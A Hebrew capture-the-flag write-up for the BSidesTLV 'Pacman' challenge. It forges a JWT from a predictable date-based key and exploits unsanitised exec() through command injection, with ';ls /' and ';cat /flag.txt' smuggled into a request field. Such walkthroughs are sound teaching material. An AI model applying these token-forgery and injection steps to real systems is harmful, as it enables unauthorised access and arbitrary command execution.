Pacman

תיאור

Pacman

פתרון

הקובץ שצורף כלל את הקוד הבא:

function generateKey() {

    const date = new Date();
    const year = date.getFullYear();

    let month = date.getMonth() + 1;
    month = (month < 10 ? "0" : "") + month;

    let day  = date.getDate();
    day = (day < 10 ? "0" : "") + day;
    const key = `${year}:${month}:${day}:LevelUP!`;
    return crypto.createHash('md5').update(key).digest("hex");
}

function decodeValue(token, key) {
    try {
        return jwt.verify(token, key, function (err, decoded) {
            return decoded.isAdmin
        });
    }
    catch(err) {
        return false;
    }
}

app.get('/', function(req, res) {
    if(req.headers['user-agent'] === 'LevelUP!' && decodeValue(req.cookies.auth, generateKey())) {
        res.render('game.ejs');
    } else {
        res.send("You are not authorized!");
    }

});

app.post('/levelUp', function(req, res) {
    if(req.headers['user-agent'] === 'LevelUP!' && decodeValue(req.cookies.auth, generateKey())) {
        const level = req.body.level;
        exec('./levelup ' + level, (err, stdout) => {
            res.send(stdout)
        });
    } else {
        res.send("You are not authorized!");
    }
});

כדי להיות מסוגלים לבצע פעולה משמעותית, ראשית עלינו להיות מסוגלים לעבור את הבדיקה של jwt.verify. עלינו לקודד את הערך {"isAdmin": "1"}. לשם כך נבנה את המפתח כפי שהקוד המצורף עשה, באמצעות שימוש בתאריך ובמחרוזת קבועה:

const crypto = require('crypto');
const jwt = require('jsonwebtoken');
function generateKey() {
    const date = new Date();
    const year = date.getFullYear();
    let month = date.getMonth() + 1;
    month = (month < 10 ? "0" : "") + month;
    let day  = date.getDate();
    day = (day < 10 ? "0" : "") + day;
    const key = `${year}:${month}:${day}:LevelUP!`;
    return crypto.createHash('md5').update(key).digest("hex");
}
var h = generateKey()
console.log("Hash:")
console.log(h)
var token = jwt.sign({ isAdmin: '1' }, h, { algorithm: 'HS256'});
console.log("JWT:")
console.log(token)

התוצאה היא:

root@kali:~/CTFs/bsides/Pacman# nodejs hash.js
Hash:
55c0e94af90e38d9a4544c19e2ff99f8
JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjoiMSIsImlhdCI6MTU2MTU3NjI3OH0.WP8x7NRSQqqqBLtBcX-qyAor3i4Wik7ybCWfvHZhxbE

בצירוף שליחת ה-User Agnet הדרוש, אנחנו יכולים לדבר עם ה-API:

root@kali:/media/sf_CTFs/bsidestlv/Pacman# curl --cookie "auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjoiMSIsImlhdCI6MTU2MTU3NjI3OH0.WP8x7NRSQqqqBLtBcX-qyAor3i4Wik7ybCWfvHZhxbE" -A "LevelUP!" http://pacman.challenges.bsidestlv.com/levelUp -X POST -d "level=1337"
Level up!

כעת נותר לגלות מהו הדגל. לשם כך ננצל חולשה במימוש השורה הבאה:

exec('./levelup ' + level, ...)

הקלט מהמשתמש משורשר ישירות למחרוזת קבועה, והתוצאה משמשת כקלט ל-exec.

מה יקרה אם נשרשר ";ls"?

root@kali:/media/sf_CTFs/bsidestlv/Pacman# curl --cookie "auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjoiMSIsImlhdCI6MTU2MTU3NjI3OH0.WP8x7NRSQqqqBLtBcX-qyAor3i4Wik7ybCWfvHZhxbE" -A "LevelUP!" http://pacman.challenges.bsidestlv.com/levelUp -X POST -H "Content-Type: application/json" -d '{"level":"8;ls /"}'
bin
dev
etc
flag.txt
home
...

שתי הפקודות בוצעו אחת לאחר השנייה. ניתן לשרשר גם ";cat /flag.txt" ולקבל את הדגל:

root@kali:/media/sf_CTFs/bsidestlv/Pacman# curl --cookie "auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjoiMSIsImlhdCI6MTU2MTU3NjI3OH0.WP8x7NRSQqqqBLtBcX-qyAor3i4Wik7ybCWfvHZhxbE" -A "LevelUP!" http://pacman.challenges.bsidestlv.com/levelUp -X POST -H "Content-Type: application/json" -d '{"level":"8;cat /flag.txt"}'
Level up!
BSidesTLV{H1dd3nPacmanLevelUP!}